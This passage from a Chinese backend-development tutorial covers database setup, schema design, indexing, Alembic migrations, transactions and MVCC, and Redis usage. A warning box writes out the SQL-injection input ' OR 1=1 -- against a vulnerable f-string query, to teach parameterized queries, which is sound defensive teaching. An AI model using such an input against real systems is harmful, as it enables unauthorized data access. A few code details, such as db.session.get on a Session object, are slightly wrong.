    pool_recycle=3600,                           # 连接回收时间(防超时断开)
    pool_pre_ping=True,                          # 使用前检查连接是否有效
)

# 连接池监控
from sqlalchemy import event

@event.listens_for(engine, "checkout")
def on_checkout(dbapi_conn, connection_rec, connection_proxy):
    """从连接池获取连接时触发"""
    pass

@event.listens_for(engine, "checkin")
def on_checkin(dbapi_conn, connection_rec):
    """归还连接到连接池时触发"""
    pass

# 连接池状态
print(f"连接池大小: {engine.pool.size()}")
print(f"已签出连接: {engine.pool.checkedout()}")
print(f"空闲连接: {engine.pool.checkedin()}")

数据库安装与配置

# PostgreSQL 安装(Ubuntu)
sudo apt install postgresql postgresql-contrib
sudo systemctl start postgresql

# 创建数据库和用户
sudo -u postgres psql
CREATE DATABASE mydb;
CREATE USER myuser WITH PASSWORD 'mypassword';
GRANT ALL PRIVILEGES ON DATABASE mydb TO myuser;
\q

# MySQL 安装(Ubuntu)
sudo apt install mysql-server
sudo systemctl start mysql
sudo mysql_secure_installation

# 创建数据库和用户
mysql -u root -p
CREATE DATABASE mydb CHARACTER SET utf8mb4;
CREATE USER 'myuser'@'localhost' IDENTIFIED BY 'mypassword';
GRANT ALL ON mydb.* TO 'myuser'@'localhost';
FLUSH PRIVILEGES;
永远不要拼接 SQL 字符串

cursor.execute(f"SELECT * FROM users WHERE name = '{name}'") 是 SQL 注入漏洞!用户输入 ' OR 1=1 -- 就能查出所有数据。必须用参数化查询:cursor.execute("SELECT * FROM users WHERE name = %s", (name,))。

MySQL vs PostgreSQL 选型

大多数 Web 项目两者都够用。选 MySQL:团队熟悉、简单场景、读多写少。选 PostgreSQL:复杂查询、JSON 数据、地理数据、全文搜索、需要高级特性。新项目推荐 PostgreSQL——功能更强,开源社区更活跃。

30. 数据库设计

好的数据库设计是一切的基础——设计不好,后面写再多代码都是在"补窟窿"。

三大范式

1
第一范式(1NF):字段不可再分——地址字段不要存"北京市海淀区xxx",拆成省、市、区三个字段。
2
第二范式(2NF):消除部分依赖——订单表里不要存商品名称(商品名称只依赖商品ID,不依赖订单ID)。
3
第三范式(3NF):消除传递依赖——学生表里不要存学院名称(学生→学院→院长,院长通过学院间接依赖学生)。

常用字段选型

场景推荐类型说明
主键BIGINT AUTO_INCREMENTINT 够用但 BIGINT 更安全
用户名VARCHAR(50)不要用 CHAR(会填充空格)
密码哈希VARCHAR(128)bcrypt 哈希固定 60 字符
邮箱VARCHAR(100)加 UNIQUE 索引
手机号VARCHAR(20)不要用 INT(前导零会丢失)
金额DECIMAL(10,2)绝对不要用 FLOAT(精度丢失!)
大段文本TEXT文章内容、评论
时间DATETIME用 UTC 时间存储
JSON 数据JSON / JSONB灵活的键值对
是否删除TINYINT(1) DEFAULT 0软删除标记

审计字段设计

-- 每张表都应该有这些字段
CREATE TABLE articles (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    title VARCHAR(200) NOT NULL,
    content TEXT,
    -- 审计字段
    created_at DATETIME DEFAULT CURRENT_TIMESTAMP,       -- 创建时间
    updated_at DATETIME DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,  -- 更新时间
    created_by BIGINT,                                    -- 创建人
    updated_by BIGINT,                                    -- 更新人
    is_deleted TINYINT(1) DEFAULT 0,                     -- 软删除标记
    deleted_at DATETIME,                                  -- 删除时间
    deleted_by BIGINT                                     -- 删除人
);

实体关系设计(1:1、1:N、M:N)

-- 一对一(1:1)—— 用户扩展信息
-- 场景:核心表放常用字段,扩展表放低频字段,减少查询开销
CREATE TABLE users (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) NOT NULL,
    email VARCHAR(100) UNIQUE NOT NULL
);

CREATE TABLE user_profiles (
    user_id BIGINT PRIMARY KEY,               -- 既是主键又是外键
    bio TEXT,
    avatar VARCHAR(500),
    address VARCHAR(200),
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE
);

-- 一对多(1:N)—— 最常见的关系
-- 场景:用户有多个文章,文章属于一个用户
CREATE TABLE articles (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    title VARCHAR(200) NOT NULL,
    author_id BIGINT NOT NULL,                -- 外键指向"一"的一方
    FOREIGN KEY (author_id) REFERENCES users(id) ON DELETE CASCADE
);
-- 查询某用户的所有文章:SELECT * FROM articles WHERE author_id = 123;

-- 多对多(M:N)—— 需要中间表
-- 场景:文章和标签,一篇文章多个标签,一个标签对应多篇文章
CREATE TABLE tags (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    name VARCHAR(50) UNIQUE NOT NULL
);

CREATE TABLE article_tags (
    article_id BIGINT NOT NULL,
    tag_id BIGINT NOT NULL,
    PRIMARY KEY (article_id, tag_id),         -- 联合主键防重复
    FOREIGN KEY (article_id) REFERENCES articles(id) ON DELETE CASCADE,
    FOREIGN KEY (tag_id) REFERENCES tags(id) ON DELETE CASCADE
);
-- 查询文章的所有标签:
-- SELECT t.* FROM tags t JOIN article_tags at ON t.id = at.tag_id WHERE at.article_id = 1;
-- 查询标签下的所有文章:
-- SELECT a.* FROM articles a JOIN article_tags at ON a.id = at.article_id WHERE at.tag_id = 5;

索引设计原则

-- 索引设计口诀:查询什么,索引什么

-- 1. WHERE 条件字段必须加索引
CREATE INDEX idx_articles_author ON articles(author_id);
CREATE INDEX idx_articles_status ON articles(status);

-- 2. ORDER BY 字段加索引(避免 filesort)
CREATE INDEX idx_articles_created ON articles(created_at);

-- 3. 联合索引——按查询频率排序
-- 常见查询:WHERE status=1 AND category_id=3 ORDER BY created_at
CREATE INDEX idx_articles_status_cat_created ON articles(status, category_id, created_at);

-- 4. 覆盖索引——索引包含查询所需的所有字段
-- 查询只需要 title 和 status,索引包含这两列就不用回表
CREATE INDEX idx_articles_covering ON articles(status, title);

-- 5. 前缀索引——长字符串只索引前 N 个字符
CREATE INDEX idx_users_email_prefix ON users(email(10));

-- ⚠️ 不要加索引的场景:
-- 1. 数据量小的表(<1000 行)全表扫描更快
-- 2. 频繁更新的列(索引维护成本高)
-- 3. 区分度低的列(如 gender 只有 M/F)

反范式化(Denormalization)

-- 范式化设计:查询需要 JOIN 多表
-- SELECT a.title, u.username, c.name FROM articles a
-- JOIN users u ON a.author_id = u.id
-- JOIN categories c ON a.category_id = c.id;

-- 反范式化:冗余字段,减少 JOIN
CREATE TABLE articles (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    title VARCHAR(200) NOT NULL,
    author_id BIGINT NOT NULL,
    author_name VARCHAR(50),                   -- 冗余!避免 JOIN users 表
    category_id BIGINT,
    category_name VARCHAR(50),                 -- 冗余!避免 JOIN categories 表
    comment_count INT DEFAULT 0,               -- 冗余!避免 COUNT 查询
    last_comment_at DATETIME                   -- 冗余!避免排序查询
);

-- ⚠️ 反范式化的代价:数据一致性维护
-- 更新用户名时,需要同时更新 articles 表的 author_name
-- 方案1:应用层同步更新(简单但可能遗漏)
-- 方案2:数据库触发器(可靠但增加复杂度)
-- 方案3:消息队列异步更新(最终一致性)

ER 图示例(电商核心表)

1
users(用户表)——1:N → orders(一个用户多个订单)、1:1 → user_profiles(一个用户一个扩展信息)。
2
products(商品表)——N:1 → categories(多个商品属于一个分类)、M:N → tags(商品和标签多对多)。
3
orders(订单表)——1:N → order_items(一个订单多个商品项)、N:1 → users(订单属于用户)。
4
order_items(订单项)——N:1 → orders、N:1 → products。记录下单时的价格快照(不要依赖商品表的当前价格)。
软删除 vs 硬删除

硬删除(DELETE)数据就没了。软删除只标记 is_deleted=1,数据还在。90% 的场景应该用软删除——用户误删可以恢复,数据可以审计。只在数据量极大(如日志表)时才用硬删除。注意:软删除的表要加联合索引 (is_deleted, xxx),否则查询时索引失效。

金额用 DECIMAL,不要用 FLOAT

0.1 + 0.2 = 0.30000000000000004——这是浮点数的精度问题。金额用 DECIMAL(10,2) 存储精确值。或者用"分"为单位存 INT(999 表示 9.99 元)。支付宝和微信支付的 API 都是以"分"为单位。

设计检查清单

① 每张表是否有主键(推荐 BIGINT 自增)?② 每张表是否有审计字段(created_at、updated_at)?③ 外键字段是否加了索引?④ 金额是否用 DECIMAL?⑤ 是否有软删除字段?⑥ 字符串长度是否合理(不要全用 VARCHAR(255))?⑦ 是否有枚举值用 TINYINT 而非 VARCHAR?

31. 索引与查询优化

索引是数据库性能优化最重要的手段。没有索引的查询就像翻字典不看目录——从第一页翻到最后一页。

一个类比

数据库表就像一本电话簿。没有索引时,找"张三"要从第一页翻到最后一页(全表扫描 O(n))。有了索引,就像电话簿前面的姓氏索引——先找"Z",再找"张",直接定位到页码(O(log n))。

B+ 树原理(索引的底层数据结构)

为什么索引能加速查询?因为 InnoDB 使用 B+ 树作为索引结构,将 O(n) 的全表扫描变成 O(log n) 的树搜索。

# B+ 树结构示意(3 层能存储约 2000 万行数据)

# 根节点(常驻内存)
# [30 | 60]
#   /    |    \
# [10|20] [30|40|50] [60|70|80]  ← 非叶子节点(只存键值)
#   |       |          |
# 叶子节点(存储实际数据指针,叶子节点之间用链表连接)
# [1→行1] [2→行2] ... [30→行30] ← 双向链表,支持范围查询

# 为什么用 B+ 树而不是 B 树?
# 1. 叶子节点用链表连接 → 范围查询高效(WHERE id BETWEEN 10 AND 100)
# 2. 非叶子节点只存键值 → 每个节点能存更多键 → 树更矮 → IO 更少
# 3. 所有数据都在叶子节点 → 查询稳定(每次查询都要走到叶子)

# 为什么用 B+ 树而不是哈希?
# 哈希:等值查询 O(1),但不支持范围查询、排序、模糊查询
# B+ 树:等值查询 O(log n),支持范围查询、排序、前缀匹配

# 一个 3 层 B+ 树能存多少数据?
# 假设:每个节点 16KB(InnoDB 默认页大小),主键 BIGINT(8字节),指针 6字节
# 每个节点能存:16384 / (8+6) ≈ 1170 个键
# 3 层:1170 × 1170 × 16 ≈ 2190 万行
# 所以:千万级表,只需要 3 次 IO 就能找到数据!

# 聚簇索引 vs 二级索引
# 聚簇索引(主键索引):叶子节点存储完整行数据
# 二级索引(普通索引):叶子节点存储主键值 → 需要"回表"查主键索引获取完整数据

# 示例:SELECT * FROM users WHERE email = 'test@example.com'
# 1. 在 email 索引(二级索引)中找到 email='test@example.com' → 得到 id=5
# 2. 回表:在主键索引中找到 id=5 → 得到完整行数据
# 3. 如果是 SELECT id FROM users WHERE email = '...',只需查二级索引,无需回表(覆盖索引)

索引类型

主键索引
每张表自动创建,唯一且非空——InnoDB 用主键组织数据(聚簇索引)。
唯一索引
保证列值唯一——邮箱、手机号等字段。允许 NULL。
普通索引
加速查询,不保证唯一——最常用的索引类型。
联合索引
多列组合索引——遵循最左前缀原则。(a,b,c) 索引可以加速 a、(a,b)、(a,b,c) 查询。

EXPLAIN 分析查询

EXPLAIN SELECT * FROM users WHERE email = 'test@example.com';

-- 关注这些列:
-- type: 扫描方式(好→差):const > eq_ref > ref > range > index > ALL
-- key: 实际使用的索引(NULL 表示没用索引!)
-- rows: 预估扫描行数(越小越好)
-- Extra: Using index = 覆盖索引 ✅,Using filesort = 额外排序 ⚠️

索引失效的常见场景

-- ❌ 对索引列使用函数
SELECT * FROM users WHERE YEAR(created_at) = 2024;   -- 索引失效
SELECT * FROM users WHERE created_at >= '2024-01-01'; -- 索引有效 ✅

-- ❌ 隐式类型转换
SELECT * FROM users WHERE phone = 13800138000;        -- phone 是 VARCHAR,传 INT
SELECT * FROM users WHERE phone = '13800138000';      -- 索引有效 ✅

-- ❌ LIKE 以 % 开头
SELECT * FROM users WHERE name LIKE '%张';            -- 索引失效
SELECT * FROM users WHERE name LIKE '张%';            -- 索引有效 ✅

-- ❌ 联合索引不满足最左前缀
-- 索引 (a, b, c)
SELECT * FROM t WHERE b = 1 AND c = 2;               -- 跳过了 a,索引失效
SELECT * FROM t WHERE a = 1 AND c = 2;               -- 跳过了 b,只能用到 a ✅
SELECT * FROM t WHERE a = 1 AND b = 2 AND c = 3;     -- 完整命中 ✅✅✅

-- ❌ OR 条件中有无索引列
SELECT * FROM users WHERE indexed_col = 1 OR no_index_col = 2;  -- 整体失效

-- ❌ 不等于(!= 或 <>)
SELECT * FROM users WHERE status != 0;                -- 索引可能失效
-- 改写:SELECT * FROM users WHERE status IN (1, 2, 3);  -- 有效 ✅

联合索引深度剖析

-- 联合索引 (a, b, c) 的最左前缀匹配规则
-- 索引可以加速的查询(按顺序匹配):
-- ✅ WHERE a = 1
-- ✅ WHERE a = 1 AND b = 2
-- ✅ WHERE a = 1 AND b = 2 AND c = 3
-- ✅ WHERE a = 1 ORDER BY b                    -- a 等值 + b 排序
-- ❌ WHERE b = 2                                -- 跳过 a
-- ❌ WHERE b = 2 AND c = 3                      -- 跳过 a
-- ❌ WHERE a = 1 AND c = 3                      -- 跳过 b(只能用到 a)

-- 索引列顺序设计原则:
-- 1. 等值查询的列放前面
-- 2. 范围查询的列放后面
-- 3. 排序字段放最后
-- 例:WHERE status=1 AND views > 100 ORDER BY created_at
-- 最佳索引:(status, views, created_at) 或 (status, created_at)

-- 用 EXPLAIN 验证索引使用情况
EXPLAIN SELECT * FROM articles WHERE status = 1 AND views > 100 ORDER BY created_at;
-- 关注 key_len:值越大说明用到的索引列越多

覆盖索引(Covering Index)

-- 覆盖索引:查询所需的所有字段都在索引中,不需要回表
-- 查询只需要 title 和 status
CREATE INDEX idx_covering ON articles(status, title);

EXPLAIN SELECT title, status FROM articles WHERE status = 1;
-- Extra 列显示 "Using index" ✅ 说明命中覆盖索引

-- 对比:没有覆盖索引时
-- 1. 在索引树中找到 status=1 的记录
-- 2. 拿到主键 id
-- 3. 回到主键索引树(聚簇索引)取完整行数据
-- 4. 从行数据中取出 title 字段
-- 多了一次"回表"操作,随机 IO 增加

-- 覆盖索引的代价:索引体积增大
-- 只在高频查询上使用覆盖索引,不要滥用

EXPLAIN 执行计划详解

EXPLAIN SELECT * FROM articles WHERE status = 1 ORDER BY created_at DESC LIMIT 10;

-- 重点关注字段:
-- id: 查询序号(子查询会有多个 id)
-- select_type: SIMPLE(简单查询)/ SUBQUERY(子查询)/ DERIVED(派生表)
-- type: 访问类型,从好到差:
--   system > const > eq_ref > ref > range > index > ALL
--   const: 主键或唯一索引等值查询(最多一行)
--   ref: 普通索引等值查询
--   range: 索引范围查询(BETWEEN、>、<)
--   ALL: 全表扫描 ⚠️ 通常需要优化!
-- key: 实际使用的索引名(NULL = 未使用索引)
-- key_len: 使用的索引长度(越大 = 用到的索引列越多)
-- rows: 预估扫描行数(越小越好)
-- Extra:
--   Using index: 覆盖索引 ✅
--   Using where: 在服务层过滤(索引后仍需过滤)
--   Using filesort: 额外排序 ⚠️(可能需要优化 ORDER BY)
--   Using temporary: 使用临时表 ⚠️(可能需要优化 GROUP BY)

-- 用 EXPLAIN FORMAT=JSON 获取更详细的信息
EXPLAIN FORMAT=JSON SELECT * FROM articles WHERE status = 1;
-- 关注 cost_info 中的 read_cost 和 eval_cost

慢查询排查与优化流程

-- Step 1: 开启慢查询日志
SET GLOBAL slow_query_log = ON;
SET GLOBAL long_query_time = 1;                -- 记录超过 1 秒的查询
SET GLOBAL log_queries_not_using_indexes = ON; -- 同时记录未使用索引的查询

-- Step 2: 分析慢查询日志
-- 用 mysqldumpslow 或 pt-query-digest
-- $ pt-query-digest /var/log/mysql/slow.log

-- Step 3: 对慢查询用 EXPLAIN 分析执行计划

-- Step 4: 优化策略
-- ① 添加合适的索引
-- ② 改写 SQL(避免子查询,用 JOIN 替代)
-- ③ 减少返回字段(不要 SELECT *)
-- ④ 分页优化(深分页用游标:WHERE id > last_id LIMIT 20)
-- ⑤ 拆分大查询(分批处理)

-- 深分页优化示例
-- ❌ 慢:SELECT * FROM articles ORDER BY id LIMIT 1000000, 20;
-- ✅ 快:SELECT * FROM articles WHERE id > 1000000 ORDER BY id LIMIT 20;

-- Python 慢查询监控
import logging
from sqlalchemy import event

@event.listens_for(Engine, "before_cursor_execute")
def receive_before_cursor_execute(conn, cursor, statement, parameters, context, executemany):
    conn.info.setdefault('query_start_time', []).append(time.time())

@event.listens_for(Engine, "after_cursor_execute")
def receive_after_cursor_execute(conn, cursor, statement, parameters, context, executemany):
    total = time.time() - conn.info['query_start_time'].pop(-1)
    if total > 0.5:                             # 超过 500ms 的查询
        logging.warning(f"慢查询 ({total:.2f}s): {statement[:200]}")

索引优化 Checklist

1
定位慢查询——开启慢查询日志,用 pt-query-digest 分析 Top 10 慢查询。
2
EXPLAIN 分析——检查 type 是否为 ALL(全表扫描),key 是否为 NULL(未用索引)。
3
添加索引——根据 WHERE、ORDER BY、GROUP BY 的字段创建联合索引。
4
验证效果——EXPLAIN 确认索引生效,对比优化前后的查询时间。
索引不是越多越好

每个索引都会降低写入速度(INSERT/UPDATE/DELETE 要同时更新索引)。单表索引建议不超过 5-6 个。只给真正需要加速的查询加索引。定期用 pt-index-usage 检查未使用的索引并删除。

慢查询排查

① 开启慢查询日志:SET GLOBAL slow_query_log = ON; SET GLOBAL long_query_time = 1;。② 用 pt-query-digest 分析日志,找出最慢的查询。③ 用 EXPLAIN 分析执行计划。④ 用 SHOW PROFILE 查看查询各阶段耗时。⑤ 生产环境用 Percona Monitoring and Management (PMM) 持续监控。

索引维护

① 用 ANALYZE TABLE articles; 更新索引统计信息(优化器依赖统计信息选择索引)。② 用 OPTIMIZE TABLE articles; 碎片整理(大量 DELETE 后)。③ 用 SHOW INDEX FROM articles; 查看索引基数(Cardinality)。④ 定期检查重复索引:pt-duplicate-key-checker。

32. 数据库迁移 Alembic

Alembic 是 SQLAlchemy 的官方迁移工具——让你像 Git 管理代码一样管理数据库结构的变更。

# 安装
pip install alembic

# 初始化
alembic init alembic                          # 创建 alembic/ 目录和 alembic.ini

# 修改 alembic.ini 中的数据库连接
sqlalchemy.url = postgresql://user:pass@localhost/mydb

# 自动生成迁移脚本
alembic revision --autogenerate -m "创建用户表"

# 执行迁移
alembic upgrade head                          # 升级到最新版本

# 回滚
alembic downgrade -1                          # 回滚一个版本
alembic downgrade base                        # 回滚到最初

# 查看当前版本
alembic current

# 查看历史
alembic history

迁移脚本结构

# alembic/versions/001_create_users.py
def upgrade():
    op.create_table(
        'users',
        sa.Column('id', sa.Integer, primary_key=True),
        sa.Column('username', sa.String(50), nullable=False, unique=True),
        sa.Column('email', sa.String(100), nullable=False),
        sa.Column('created_at', sa.DateTime, server_default=sa.func.now()),
    )
    op.create_index('idx_email', 'users', ['email'])

def downgrade():
    op.drop_index('idx_email')
    op.drop_table('users')
生产环境迁移最佳实践

① 先备份数据库。② 在测试环境验证迁移。③ 大表变更用 op.batch_alter_table() 避免锁表。④ 分离结构迁移和数据迁移。⑤ 迁移脚本必须提交到 Git。

数据迁移(Data Migration)

# 数据迁移——迁移脚本中修改数据(不只是表结构)
# alembic/versions/002_backfill_slugs.py

def upgrade():
    # 1. 先加新列
    op.add_column('articles', sa.Column('slug', sa.String(200)))

    # 2. 填充数据(Python 逻辑)
    connection = op.get_bind()
    articles = connection.execute("SELECT id, title FROM articles")
    for article in articles:
        slug = article.title.lower().replace(' ', '-')
        connection.execute(
            "UPDATE articles SET slug = %s WHERE id = %s",
            (slug, article.id)
        )

    # 3. 最后加约束
    op.alter_column('articles', 'slug', nullable=False)
    op.create_unique_constraint('uq_articles_slug', 'articles', ['slug'])

def downgrade():
    op.drop_column('articles', 'slug')

大表迁移策略

# 大表(百万行以上)迁移不能直接 ALTER TABLE——会锁表
# 方案1:pt-online-schema-change(MySQL)
# $ pt-online-schema-change --alter "ADD COLUMN slug VARCHAR(200)" D=mydb,t=articles --execute

# 方案2:pg-osc(PostgreSQL)
# $ pg-osc perform --alter "ADD COLUMN slug VARCHAR(200)" --db-url postgresql://... --table articles

# 方案3:应用层迁移(最安全)
# 1. 创建新表 articles_new(带新字段)
# 2. 双写:同时写 articles 和 articles_new
# 3. 后台批量迁移旧数据
# 4. 切换:rename articles → articles_old, articles_new → articles
# 5. 验证无误后删除 articles_old

# Alembic 的 batch_alter_table(SQLite 不支持 ALTER TABLE)
def upgrade():
    with op.batch_alter_table('articles') as batch_op:
        batch_op.add_column(sa.Column('slug', sa.String(200)))
        batch_op.create_unique_constraint('uq_slug', ['slug'])
Django 用户注意

Django 有自己的迁移系统(makemigrations / migrate),不需要 Alembic。Alembic 主要用于 Flask + SQLAlchemy 的项目。

迁移最佳实践

① 每次迁移只做一个变更(方便回滚)。② 迁移脚本必须有 downgrade(可逆)。③ 大表迁移用在线方案(pt-osc/pg-osc)。④ 数据迁移和结构迁移分开。⑤ 迁移前备份,迁移后验证。⑥ CI/CD 中自动运行迁移测试。

33. 事务与连接池

事务保证"要么全做,要么全不做"。连接池避免频繁创建/销毁数据库连接的开销。

ACID 特性

1
原子性(Atomicity)——事务中的操作要么全部成功,要么全部回滚。转账:A 扣钱 + B 加钱,不能只做一半。
2
一致性(Consistency)——事务前后数据满足所有约束(如余额不能为负)。
3
隔离性(Isolation)——并发事务互不干扰。
4
持久性(Durability)——事务提交后,数据永久保存。
# SQLAlchemy 事务
from sqlalchemy.orm import Session

def transfer_money(db: Session, from_id: int, to_id: int, amount: int):
    try:
        from_user = db.session.get(User, from_id, with_for_update=True)  # 锁定行
        to_user = db.session.get(User, to_id, with_for_update=True)

        if from_user.balance < amount:
            raise ValueError("余额不足")

        from_user.balance -= amount
        to_user.balance += amount
        db.commit()                           # 事务提交
    except Exception:
        db.rollback()                         # 事务回滚
        raise

连接池配置

# SQLAlchemy 连接池
from sqlalchemy import create_engine

engine = create_engine(
    "postgresql://user:pass@localhost/mydb",
    pool_size=10,                             # 连接池大小
    max_overflow=20,                          # 超出 pool_size 后最多再创建多少
    pool_timeout=30,                          # 获取连接的超时时间
    pool_recycle=3600,                        # 连接最大存活时间(秒)
    pool_pre_ping=True,                       # 使用前检测连接是否有效
)
连接池大小怎么设?

公式:pool_size = CPU 核心数 * 2 + 磁盘数。4 核服务器通常设 10-20。连接池不是越大越好——每个连接都占数据库资源。如果连接不够用,说明需要优化查询或加缓存,而不是加大连接池。

MVCC 原理(多版本并发控制)

InnoDB 和 PostgreSQL 使用 MVCC 实现"无锁读"——读操作不加锁,通过保存数据的多个版本来实现并发。

# MVCC 核心思想:每行数据有多个版本,不同事务看到不同版本

# 示例场景:
# 事务 A(开始时间 T1):读 id=1 的余额 → 看到 100
# 事务 B(开始时间 T2):修改 id=1 的余额为 200,但未提交
# 事务 A 再次读 id=1 → 仍然看到 100(不是 200!)
# 这就是"可重复读"的实现

# InnoDB 的实现机制:
# 每行数据有两个隐藏字段:
# - trx_id:最近修改该行的事务 ID
# - roll_pointer:指向 undo log 中该行的上一个版本

# ReadView(读视图):
# 事务开始时创建 ReadView,包含:
# - m_ids:当前活跃(未提交)的事务 ID 列表
# - min_trx_id:活跃事务中最小的 ID
# - max_trx_id:下一个将要分配的事务 ID
# - creator_trx_id:当前事务的 ID

# 判断某行是否可见:
# 1. 如果 trx_id < min_trx_id → 该行在 ReadView 创建前已提交 → 可见
# 2. 如果 trx_id >= max_trx_id → 该行在 ReadView 创建后才修改 → 不可见
# 3. 如果 trx_id 在 m_ids 中 → 该行被未提交事务修改 → 不可见
# 4. 否则 → 可见

# 快照读 vs 当前读
# 快照读:SELECT ...(读取数据的某个历史版本,不加锁)
# 当前读:SELECT ... FOR UPDATE / INSERT / UPDATE / DELETE(读取最新版本,加锁)

# 乐观锁 vs 悲观锁
# 悲观锁:SELECT ... FOR UPDATE(先加锁再操作,适合写多读少)
# 乐观锁:用 version 字段实现(先操作再检查,适合读多写少)

# 乐观锁实现示例
def update_with_optimistic_lock(db, article_id, new_content, old_version):
    result = db.execute(
        "UPDATE articles SET content = %s, version = version + 1 "
        "WHERE id = %s AND version = %s",
        (new_content, article_id, old_version)
    )
    if result.rowcount == 0:
        raise ValueError("数据已被其他事务修改,请重试")

事务隔离级别

-- 事务隔离级别(从低到高)
-- 1. READ UNCOMMITTED(读未提交)
--    可以读到其他事务未提交的数据(脏读)
--    几乎不用,太不安全

-- 2. READ COMMITTED(读已提交)—— PostgreSQL 默认
--    只能读到其他事务已提交的数据
--    问题:同一事务内两次读同一行,结果可能不同(不可重复读)

-- 3. REPEATABLE READ(可重复读)—— MySQL 默认
--    同一事务内多次读同一行,结果始终一致
--    问题:可能读到"幻影行"(其他事务插入的新行)

-- 4. SERIALIZABLE(串行化)
--    最严格,完全串行执行
--    最安全但性能最差

-- 设置隔离级别
SET TRANSACTION ISOLATION LEVEL READ COMMITTED;

-- SQLAlchemy 中设置
engine = create_engine(
    'postgresql://...',
    isolation_level='READ COMMITTED'
)

上下文管理器(自动事务)

# 用上下文管理器自动管理事务
from contextlib import contextmanager

@contextmanager
def transaction(db: Session):
    """自动提交/回滚事务"""
    try:
        yield db
        db.commit()
    except Exception:
        db.rollback()
        raise
    finally:
        db.close()

# 使用
with transaction(get_db()) as db:
    user = User(name="张三")
    db.add(user)
    # 自动提交

# FastAPI 中的自动事务中间件
from starlette.middleware.base import BaseHTTPMiddleware

class TransactionMiddleware(BaseHTTPMiddleware):
    async def dispatch(self, request, call_next):
        db = SessionLocal()
        request.state.db = db
        try:
            response = await call_next(request)
            db.commit()
            return response
        except Exception:
            db.rollback()
            raise
        finally:
            db.close()

死锁处理

# 死锁:两个事务互相等待对方释放锁
# 事务A: 锁定行1 → 等待行2
# 事务B: 锁定行2 → 等待行1
# 结果:永远等待

# 预防死锁:
# 1. 按固定顺序访问表和行(总是先锁行1,再锁行2)
# 2. 减少事务持有时间(事务内不要做耗时操作)
# 3. 使用较低的隔离级别

# 检测死锁(MySQL)
SHOW ENGINE INNODB STATUS;                       -- 查看最近的死锁信息

# 处理死锁(应用层重试)
import time

def execute_with_retry(func, max_retries=3):
    for attempt in range(max_retries):
        try:
            return func()
        except OperationalError as e:
            if 'deadlock' in str(e).lower() and attempt < max_retries - 1:
                time.sleep(0.1 * (attempt + 1))  # 指数退避
                continue
            raise
Django 的连接池

Django 用 CONN_MAX_AGE 控制连接复用。CONN_MAX_AGE = 600 表示连接保留 600 秒。设为 None 表示永久保持(配合 Gunicorn 多进程使用)。生产环境建议用 PgBouncer 做外部连接池。

事务最佳实践

① 事务要尽量短(不要在事务中做网络请求)。② 按固定顺序访问资源(防死锁)。③ 选择合适的隔离级别。④ 用上下文管理器自动管理事务。⑤ 死锁时自动重试。⑥ 监控慢事务和锁等待。

34. Redis

Redis 是后端开发的"瑞士军刀"——内存数据库,速度极快(10万+ QPS),用途广泛:缓存、Session、排行榜、消息队列、分布式锁。

五大数据结构

import redis
r = redis.Redis(host='localhost', port=6379, db=0, decode_responses=True)

# 生产环境推荐用连接池(避免每次请求创建新连接):
# pool = redis.ConnectionPool(host='localhost', port=6379, max_connections=50, decode_responses=True)
# r = redis.Redis(connection_pool=pool)

# 1. String(字符串)—— 最基础,存缓存、计数器
r.set('user:1:name', '张三')
r.get('user:1:name')                     # '张三'
r.incr('page_views')                     # 计数器 +1
r.setex('token:abc', 3600, 'user_id=1')  # 设置过期时间(秒)

# 2. Hash(哈希)—— 存对象(类似字典)
r.hset('user:1', mapping={'name': '张三', 'age': '25', 'email': 'zhangsan@example.com'})
r.hget('user:1', 'name')                # '张三'
r.hgetall('user:1')                      # {'name': '张三', 'age': '25', ...}

# 3. List(列表)—— 消息队列、最新动态
r.lpush('notifications', '消息1', '消息2')  # 左边推入
r.rpop('notifications')                      # 右边弹出(FIFO)
r.lrange('notifications', 0, -1)             # 获取所有

# 4. Set(集合)—— 去重、共同好友
r.sadd('user:1:friends', 'user:2', 'user:3')
r.sismember('user:1:friends', 'user:2')     # True
r.sinter('user:1:friends', 'user:2:friends') # 共同好友

# 5. Sorted Set(有序集合)—— 排行榜
r.zadd('leaderboard', {'player:1': 100, 'player:2': 85, 'player:3': 92})
r.zrevrange('leaderboard', 0, 2, withscores=True)  # 前三名
r.zincrby('leaderboard', 10, 'player:1')           # 加分

分布式锁

import redis
import uuid
import time

def acquire_lock(r, lock_name, timeout=10):
    """获取分布式锁(返回锁的唯一标识,释放时需要校验)"""
    lock_value = str(uuid.uuid4())             # 唯一值,防止误释放其他客户端的锁
    acquired = r.set(f'lock:{lock_name}', lock_value, nx=True, ex=timeout)
    return lock_value if acquired else None

# Lua 脚本:原子性检查并删除(防止释放别人的锁)
RELEASE_SCRIPT = """
if redis.call("get", KEYS[1]) == ARGV[1] then
    return redis.call("del", KEYS[1])
else
    return 0
end
"""

def release_lock(r, lock_name, lock_value):
    """释放锁(只有持有者才能释放)"""
    r.eval(RELEASE_SCRIPT, 1, f'lock:{lock_name}', lock_value)

# 使用
lock_value = acquire_lock(r, 'order:create')
if lock_value:
    try:
        # 执行需要加锁的操作
        create_order()
    finally:
        release_lock(r, 'order:create', lock_value)
Redis 作为 Session 存储

把 Session 存到 Redis 而不是内存/数据库,好处:① 多台服务器共享 Session;② 自动过期(SET key value EX 1800);③ 读写速度极快。Flask 用 Flask-Session,Django 用 django-redis。

Pub/Sub 发布订阅

# Redis Pub/Sub——消息广播
import redis

r = redis.Redis()

# 发布者
def publish_message(channel: str, message: str):
    r.publish(channel, message)

# 订阅者
def subscribe(channel: str):
    pubsub = r.pubsub()
    pubsub.subscribe(channel)
    for message in pubsub.listen():
        if message['type'] == 'message':
            data = message['data'].decode()
            print(f"收到消息: {data}")

# 使用场景:实时通知、WebSocket 广播
# 用户A发消息 → publish到chat:room1 → 所有订阅者收到

Pipeline 批量操作

# Pipeline——批量发送命令,减少网络往返
# ❌ 慢:100 次网络往返
for i in range(100):
    r.set(f"key:{i}", f"value:{i}")

# ✅ 快:1 次网络往返
pipe = r.pipeline()
for i in range(100):
    pipe.set(f"key:{i}", f"value:{i}")
pipe.execute()                                   # 一次性发送所有命令

# Pipeline 带事务(MULTI/EXEC)
pipe = r.pipeline(transaction=True)
pipe.set("counter", 0)
pipe.incr("counter")
pipe.incr("counter")
